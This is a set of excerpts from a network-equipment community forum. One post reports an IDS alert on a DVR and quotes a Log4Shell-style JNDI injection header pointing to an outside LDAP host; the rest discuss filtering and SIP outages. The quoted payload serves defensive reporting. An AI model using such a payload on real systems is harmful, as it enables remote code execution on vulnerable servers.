It was a http request made to the login page of the DVR.  It triggered this SNORT rule:  https://snort.org/rule_docs/1-58737   Looking at the inspect packet, they tried to inject this: User-Agent: ${jndi:ldap://193.3.19.159:53/c}..Accept: */*..Accept-Encoding: gzip   ... View more

For what it's worth, the IDS/IPS in the Meraki MX series is catching it. We had these alerts on a public facing DVR.     ... View more

For reference, do an nslookup on the non working url, then dump the ip into here to see what country it brings up: https://www.maxmind.com/en/geoip2-precision-demo ... View more

@GiacomoS Can I suggest that the Meraki team find another way to notify customers of major issues like this? Company wide we were unable to access Google, Google Workplace, etc you get the point.   I understand the categorization isn't your fault, however, seeing this earlier would have saved us a whole lot of digging as to what was going on.   Thanks for posting this up. ... View more

Were still having issues with this. Luckily most of the sites we have using the SIP phones aren't on dual WAN. The sites that we have with Dual WAN we just hope and pray that the main WAN stays online.  ... View more

We have the same issue with a MiTel deployment with more than one provider that we use. ... View more